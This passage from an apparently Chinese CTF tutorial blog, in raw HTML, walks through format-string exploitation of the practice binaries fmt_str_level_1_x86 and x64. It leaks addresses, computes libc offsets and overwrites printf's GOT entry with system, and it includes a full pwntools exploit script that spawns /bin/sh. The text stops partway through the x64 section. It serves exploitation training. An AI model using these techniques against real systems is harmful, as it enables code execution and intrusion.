punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="利用-ELF-的函数偏移计算真实地址"><a href="#利用-ELF-的函数偏移计算真实地址" class="headerlink" title="利用 ELF 的函数偏移计算真实地址"></a>利用 ELF 的函数偏移计算真实地址</h2><blockquote><p>由于 ELF 文件中函数之间的偏移不变，所以 <code>elf.symbols[&quot;main&quot;] - elf.got[&quot;puts&quot;]</code> 应该与真实的 <code>main_addr - puts_got_addr</code> 相同</p><p>而真实的 <code>main_addr</code> 已经通过前面的泄露和计算得知了，因此可以计算出 <code>puts_got_addr</code></p></blockquote><pre class="line-numbers language-python" data-language="python"><code class="language-python">elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./fmt_str_level_1_x86"</span><span class="token punctuation">)</span>main_puts_offset <span class="token operator">=</span> elf<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"main"</span><span class="token punctuation">]</span> <span class="token operator">-</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">"puts"</span><span class="token punctuation">]</span>puts_got_addr <span class="token operator">=</span> main_addr <span class="token operator">-</span> main_puts_offset<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"puts_got_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>puts_got_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>由于我们要使用 <code>fmtstr_payload()</code> 将 <code>printf()</code> 的 GOT 表地址修改为 <code>system_plt</code>，因此还需要得到 <code>printf_got_addr</code></p><p>计算方法与 <code>puts_got_addr</code> 一样，利用 ELF 的函数偏移计算即可：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">main_printf_offset <span class="token operator">=</span> elf<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"main"</span><span class="token punctuation">]</span> <span class="token operator">-</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">"printf"</span><span class="token punctuation">]</span>printf_got_addr <span class="token operator">=</span> main_addr <span class="token operator">-</span> main_printf_offset<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"printf_got_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>printf_got_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><h2 id="利用-libc-偏移计算-system-地址"><a href="#利用-libc-偏移计算-system-地址" class="headerlink" title="利用 libc 偏移计算 system 地址"></a>利用 libc 偏移计算 system 地址</h2><p>接下来还需要知道 <code>system()</code> 的真实地址，但是程序中并没有使用 <code>system()</code>，因此只能通过 libc 偏移来计算，这样就需要知道 <code>puts()</code> 或者 <code>printf()</code> 其一的真实地址（这些函数的实现来自于 libc，程序只负责调用）</p><p>以 <code>puts()</code> 为例：</p><p>由于我们已经得到了 <code>puts_got_addr</code>，该 GOT 表地址上存放的就是真实的 <code>puts_addr</code>，因此只需要将 <code>puts_got_addr</code> 这个地址上的值泄露出来即可</p><p>通过前面的分析已经知道，我们输入的内容在第 7 个位置，于是构造：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">payload <span class="token operator">=</span> p32<span class="token punctuation">(</span>puts_got_addr<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">b'%7$s'</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_12.png" alt="你想有多PWN-fmt_test2_12.png"></p><p>接收的数据中，前面的 4 字节 <code>18 50 93 61</code> 即是 <code>p32(puts_got_addr)</code> 的地址（小端序），紧随其后的 4 字节就是 <code>b&#39;%7$s&#39;</code> 泄露出的 <code>puts_addr</code>（小端序）</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span>puts_addr <span class="token operator">=</span> u32<span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"puts_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>puts_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>然后，利用真实地址 <code>puts_addr</code> 计算 libc 偏移，得到 <code>system()</code> 的真实地址</p><h3 id="在本地不使用-LibcSearcher-的方法"><a href="#在本地不使用-LibcSearcher-的方法" class="headerlink" title="在本地不使用 LibcSearcher 的方法"></a>在本地不使用 LibcSearcher 的方法</h3><p>首先使用 ldd 确定程序的 libc 版本：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">ldd fmt_str_level_1_x86<span class="token comment"># 输出为：</span><span class="token comment">#   linux-gate.so.1 (0xed54e000)</span><span class="token comment"># libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xed200000)</span><span class="token comment"># /lib/ld-linux.so.2 (0xed550000)</span><span class="token comment"># 因此 libc 为 /lib/i386-linux-gnu/libc.so.6</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>利用偏移计算：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">libc <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'/lib/i386-linux-gnu/libc.so.6'</span><span class="token punctuation">)</span>libcbase <span class="token operator">=</span> puts_addr <span class="token operator">-</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"puts"</span><span class="token punctuation">]</span>system_addr <span class="token operator">=</span> libcbase <span class="token operator">+</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"system"</span><span class="token punctuation">]</span>bin_sh_addr <span class="token operator">=</span> libcbase <span class="token operator">+</span> <span class="token builtin">next</span><span class="token punctuation">(</span>libc<span class="token punctuation">.</span>search<span class="token punctuation">(</span><span class="token string">b'/bin/sh'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>每计算一步获取到的值，都记得调试一下进行验证，看看结果是不是正确的</p></blockquote><p>可以看到 <code>system()</code> 地址没有问题：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_13.png" alt="你想有多PWN-fmt_test2_13.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_14.png" alt="你想有多PWN-fmt_test2_14.png"></p><h3 id="利用-glibc-all-in-one-的方法"><a href="#利用-glibc-all-in-one-的方法" class="headerlink" title="利用 glibc-all-in-one 的方法"></a>利用 glibc-all-in-one 的方法</h3><blockquote><p>由于我直接使用 LibcSearcher 找到的 libc 偏移计算出来的 <code>system()</code> 地址都不对：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">obj <span class="token operator">=</span> LibcSearcher<span class="token punctuation">(</span><span class="token string">"puts"</span><span class="token punctuation">,</span> puts_addr<span class="token punctuation">)</span><span class="token comment"># obj = LibcSearcher("__GI__IO_puts", puts_addr)</span>libcbase <span class="token operator">=</span> puts_addr <span class="token operator">-</span> obj<span class="token punctuation">.</span>dump<span class="token punctuation">(</span><span class="token string">'puts'</span><span class="token punctuation">)</span> <span class="token comment"># 计算偏移量</span><span class="token comment"># libcbase = puts_addr - obj.dump('__GI__IO_puts') # 计算偏移量</span>system_addr <span class="token operator">=</span> libcbase <span class="token operator">+</span> obj<span class="token punctuation">.</span>dump<span class="token punctuation">(</span><span class="token string">'system'</span><span class="token punctuation">)</span> <span class="token comment"># 计算程序中 system() 的真实地址  </span>bin_sh_addr <span class="token operator">=</span> libcbase <span class="token operator">+</span> obj<span class="token punctuation">.</span>dump<span class="token punctuation">(</span><span class="token string">'str_bin_sh'</span><span class="token punctuation">)</span> <span class="token comment"># 计算程序中 '/bin/sh' 的真实地址</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>所以这里通过在线网站查找：<a href="https://libc.blukat.me/">libc database search</a></p></blockquote><p>为了更精确的查找，多加几个限制条件</p><p>刚刚通过调试我们知道：<code>puts()</code> 的最低三位为 <code>0x2a0</code>，<code>system()</code> 最低三位为 <code>0x170</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_16.png" alt="你想有多PWN-fmt_test2_16.png"></p><p>然后 <code>b&#39;/bin/sh&#39;</code> 最低三位为 <code>0x0d5</code></p><p><strong>即使地址是随机的，但是最低三位是不变的</strong>，因此搜索一下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_17.png" alt="你想有多PWN-fmt_test2_17.png"></p><p>有三个 libc 满足条件，我这里选择 <code>libc6_2.35-0ubuntu3.7_i386</code></p><p>然后使用 glibc-all-in-one 下载对应版本的 libc：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_18.png" alt="你想有多PWN-fmt_test2_18.png"></p><p>然后将 libc 路径更改为：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">libc <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'/opt/glibc-all-in-one/libs/2.35-0ubuntu3.7_i386/libc.so.6'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><blockquote><p><em>关于如何使用 glibc-all-in-one 详见《Pwntools 与 exp 技巧》一文</em></p></blockquote><h2 id="使用-fmtstr-payload-修改-GOT-表"><a href="#使用-fmtstr-payload-修改-GOT-表" class="headerlink" title="使用 fmtstr_payload 修改 GOT 表"></a>使用 fmtstr_payload 修改 GOT 表</h2><p>最后，利用 <code>fmtstr_payload()</code> 构造格式化字符串利用，将 <code>printf_got_addr</code> 修改为 <code>system_plt</code> 地址即可</p><p>根据输入的数据位于第 7 个位置：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">payload_write_printf_got <span class="token operator">=</span> fmtstr_payload<span class="token punctuation">(</span><span class="token number">7</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span>printf_got_addr<span class="token punctuation">:</span> system_addr<span class="token punctuation">&#125;</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload_write_printf_got<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>向 <code>printf()</code> 传递参数 <code>b&#39;/bin/sh&#39;</code> 即可构造 <code>system(&quot;/bin/sh&quot;)</code></p><pre class="line-numbers language-python" data-language="python"><code class="language-python">io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">b'/bin/sh'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2 id="完整脚本"><a href="#完整脚本" class="headerlink" title="完整脚本"></a>完整脚本</h2><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token comment"># 设置系统架构, 打印调试信息</span>context<span class="token punctuation">(</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">,</span> arch<span class="token operator">=</span><span class="token string">'i386'</span><span class="token punctuation">,</span> log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">)</span><span class="token comment"># PWN 远程 : content = 0, PWN 本地 : content = 1</span>content <span class="token operator">=</span> <span class="token number">1</span><span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span><span class="token comment"># 将本地的 Linux 程序启动为进程 io</span>    io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">"./fmt_str_level_1_x86"</span><span class="token punctuation">)</span><span class="token comment"># 附加 gdb 调试</span><span class="token keyword">def</span> <span class="token function">debug</span><span class="token punctuation">(</span>cmd<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    gdb<span class="token punctuation">.</span>attach<span class="token punctuation">(</span>io<span class="token punctuation">,</span> cmd<span class="token punctuation">)</span>    pause<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment"># 泄露并计算 main 函数真实地址</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'input:\n'</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> <span class="token string">b'%75$p'</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>ret_main_addr <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">:</span><span class="token number">10</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"ret_main_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>ret_main_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>main_addr <span class="token operator">=</span> ret_main_addr <span class="token operator">-</span> <span class="token number">30</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"main_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>main_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 根据 main 函数的真实地址计算 puts 函数的 GOT 表地址</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./fmt_str_level_1_x86"</span><span class="token punctuation">)</span>main_puts_offset <span class="token operator">=</span> elf<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"main"</span><span class="token punctuation">]</span> <span class="token operator">-</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">"puts"</span><span class="token punctuation">]</span>puts_got_addr <span class="token operator">=</span> main_addr <span class="token operator">-</span> main_puts_offset<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"puts_got_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>puts_got_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 利用 puts 函数的 GOT 表地址泄露 puts 函数的真实地址</span>payload <span class="token operator">=</span> p32<span class="token punctuation">(</span>puts_got_addr<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">b'%7$s'</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span>puts_addr <span class="token operator">=</span> u32<span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"puts_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>puts_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 根据 puts 函数的真实地址与 libc 偏移计算 system 函数地址</span>libc <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'/lib/i386-linux-gnu/libc.so.6'</span><span class="token punctuation">)</span><span class="token comment"># libc = ELF('/opt/glibc-all-in-one/libs/2.35-0ubuntu3.7_i386/libc.so.6')</span>libcbase <span class="token operator">=</span> puts_addr <span class="token operator">-</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"puts"</span><span class="token punctuation">]</span>system_addr <span class="token operator">=</span> libcbase <span class="token operator">+</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"system"</span><span class="token punctuation">]</span>bin_sh_addr <span class="token operator">=</span> libcbase <span class="token operator">+</span> <span class="token builtin">next</span><span class="token punctuation">(</span>libc<span class="token punctuation">.</span>search<span class="token punctuation">(</span><span class="token string">b'/bin/sh'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"libcbase -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>libcbase<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"system_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>system_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"bin_sh_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>bin_sh_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 根据 main 函数的真实地址计算 printf 函数的 GOT 表地址</span>main_printf_offset <span class="token operator">=</span> elf<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"main"</span><span class="token punctuation">]</span> <span class="token operator">-</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">"printf"</span><span class="token punctuation">]</span>printf_got_addr <span class="token operator">=</span> main_addr <span class="token operator">-</span> main_printf_offset<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"printf_got_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>printf_got_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 利用 fmtstr_payload 将 printf 函数的 GOT 表地址改为 system 函数</span>payload_write_printf_got <span class="token operator">=</span> fmtstr_payload<span class="token punctuation">(</span><span class="token number">7</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span>printf_got_addr<span class="token punctuation">:</span> system_addr<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token comment"># debug()</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload_write_printf_got<span class="token punctuation">)</span><span class="token comment"># 向 printf 发送 b'/bin/sh' 构造 system("/bin/sh")</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">b'/bin/sh'</span><span class="token punctuation">)</span><span class="token comment"># 与远程交互</span>io<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="结果"><a href="#结果" class="headerlink" title="结果"></a>结果</h2><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_15.png" alt="你想有多PWN-fmt_test2_15.png"></p><hr><h1 id="fmt-str-level-1-x64"><a href="#fmt-str-level-1-x64" class="headerlink" title="fmt_str_level_1_x64"></a>fmt_str_level_1_x64</h1><blockquote><p>主要在 <em>“定位并泄露栈中的数据”</em> 和 <em>“利用 libc 偏移计算 system 地址”</em> 两节中与 32 位程序有所区别</p></blockquote><hr><h2 id="定位并泄露栈中的数据-1"><a href="#定位并泄露栈中的数据-1" class="headerlink" title="定位并泄露栈中的数据"></a>定位并泄露栈中的数据</h2><p>准备工作与前面一样，就不再详细说明了</p><p>首先调试 <code>fmt_str_level_1_x64</code> 程序，在 <code>read()</code> 处输入：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">aaaaaaaa_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>查看输出：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_19.png" alt="你想有多PWN-fmt_test2_19.png"></p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">aaaaaaaa_0x55555555600b_0x71_0xffffffff_0x6_0x7ffff7fc9040_0x6161616161616161_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0x255f70255f70255f_0xa70255f70_</span><span class="token punctuation">(</span>nil<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>可以看到 <code>0x6161616161616161</code> 位于第 6 个位置，即 RSP 所指向的位置（<mark>因为在 64 位程序中 printf 函数的前 6 个参数位于寄存器中，第 7 个参数才开始入栈；而 32 位程序 printf 函数的参数都存放在栈中，这是 64 位程序与 32 位程序不同的地方</mark>）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_20.png" alt="你想有多PWN-fmt_test2_20.png"></p><p>与 32 位程序同理，计算可知栈中的返回地址位于：<code>6 + (0x7fffffffdad8 - 0x7fffffffd9c0) / 8 = 6 + 35 = 41</code></p><p>构造 <code>printf(%41$p)</code> 即可泄露出 <code>main+28</code> 的真实地址，于是 <code>main()</code> 的真实地址为：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'input:\n'</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> <span class="token string">b'%41$p'</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>ret_main_addr <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">:</span><span class="token number">14</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"ret_main_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>ret_main_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>main_addr <span class="token operator">=</span> ret_main_addr <span class="token operator">-</span> <span class="token number">28</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"main_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>main_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="利用-ELF-的函数偏移计算真实地址-1"><a href="#利用-ELF-的函数偏移计算真实地址-1" class="headerlink" title="利用 ELF 的函数偏移计算真实地址"></a>利用 ELF 的函数偏移计算真实地址</h2><p>与 32 位一样，根据 ELF 的函数偏移地址计算 <code>puts_got_addr</code> 和 <code>printf_got_addr</code></p><pre class="line-numbers language-python" data-language="python"><code class="language-python">elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./fmt_str_level_1_x64"</span><span class="token punctuation">)</span>main_puts_offset <span class="token operator">=</span> elf<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"main"</span><span class="token punctuation">]</span> <span class="token operator">-</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">"puts"</span><span class="token punctuation">]</span>puts_got_addr <span class="token operator">=</span> main_addr <span class="token operator">-</span> main_puts_offset<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"puts_got_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>puts_got_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>main_printf_offset <span class="token operator">=</span> elf<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"main"</span><span class="token punctuation">]</span> <span class="token operator">-</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">"printf"</span><span class="token punctuation">]</span>printf_got_addr <span class="token operator">=</span> main_addr <span class="token operator">-</span> main_printf_offset<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"printf_got_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>printf_got_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="利用-libc-偏移计算-system-地址-1"><a href="#利用-libc-偏移计算-system-地址-1" class="headerlink" title="利用 libc 偏移计算 system 地址"></a>利用 libc 偏移计算 system 地址</h2><p>要使用 libc 计算偏移，首先需要知道一个调用自 libc 的函数的真实地址</p><p>这里还是选择通过 <code>puts_got_addr</code> 泄露真实 <code>puts()</code> 地址作为示例</p><blockquote><p><em>注意：这里与 32 位程序有所不同！！！</em></p><p><mark>如果依然使用类似于 32 位程序中的方法，在接收地址时会发生错误：</mark></p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment"># 利用 puts 函数的 GOT 表地址泄露 puts 函数的真实地址</span>payload <span class="token operator">=</span> p64<span class="token punctuation">(</span>puts_got_addr<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">b'%6$s'</span>  io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>  io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span>  puts_addr <span class="token operator">=</span> u64<span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">b'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"puts_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>puts_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>虽然说我们接收到的数据 <code>0x3a7475706e69</code> 来自 <code>69 6e 70 75 74 3a</code>（小端序）没有问题，但实际上 <code>puts()</code> 的真实地址是错误的：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_21.png" alt="你想有多PWN-fmt_test2_21.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_22.png" alt="你想有多PWN-fmt_test2_22.png"></p><p>原因在于：</p><ul><li><strong>32 位程序的地址占 4 字节，通常 4 字节全部被使用</strong></li><li><strong>64 位程序的地址虽然占 8 字节，但通常只使用了其中的 6 字节</strong></li></ul><p>实际 <code>puts_got_addr</code> 的地址 <code>0x56c4b37f8020</code> 只使用了 6 字节，这就导致我们在发送 <code>p64(puts_got_addr)</code> 的时候，高位 2 字节被补为 <code>0x00</code>，最后的地址为：<code>0x000056c4b37f8020</code></p><p>即上图桃红色方框中的：<code>20 80 7f b3 c4 56 00 00</code>（小端序）</p><p>而这里的 <code>0x00</code> 会导致我们发送的 payload 被截断，因此无法达到 <code>printf(%6$s)</code> 的效果</p></blockquote><p>所以这里为了避免被截断，我们不能在 <code>%参数顺序$格式化说明符</code> 之前发送 <code>p64(puts_got_addr)</code></p><p>应该先发送 <code>%参数顺序$格式化说明符</code>，再发送 <code>p64(puts_got_addr)</code></p><p>于是栈中的结构应该变为：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_23.png" alt="你想有多PWN-fmt_test2_23.png"></p><p>因为先发送 <code>%参数顺序$格式化说明符</code>，所以 <code>p64(puts_got_addr)</code> 应该位于第 7 个位置，将原来的 <code>b&#39;%6$s&#39;</code> 改为 <code>b&#39;%7$s&#39;</code></p><p><strong>同时，64 位程序一个地址存放 8 字节，而 <code>b&#39;%7$s&#39;</code> 只有 4 字节，因此还需要填补 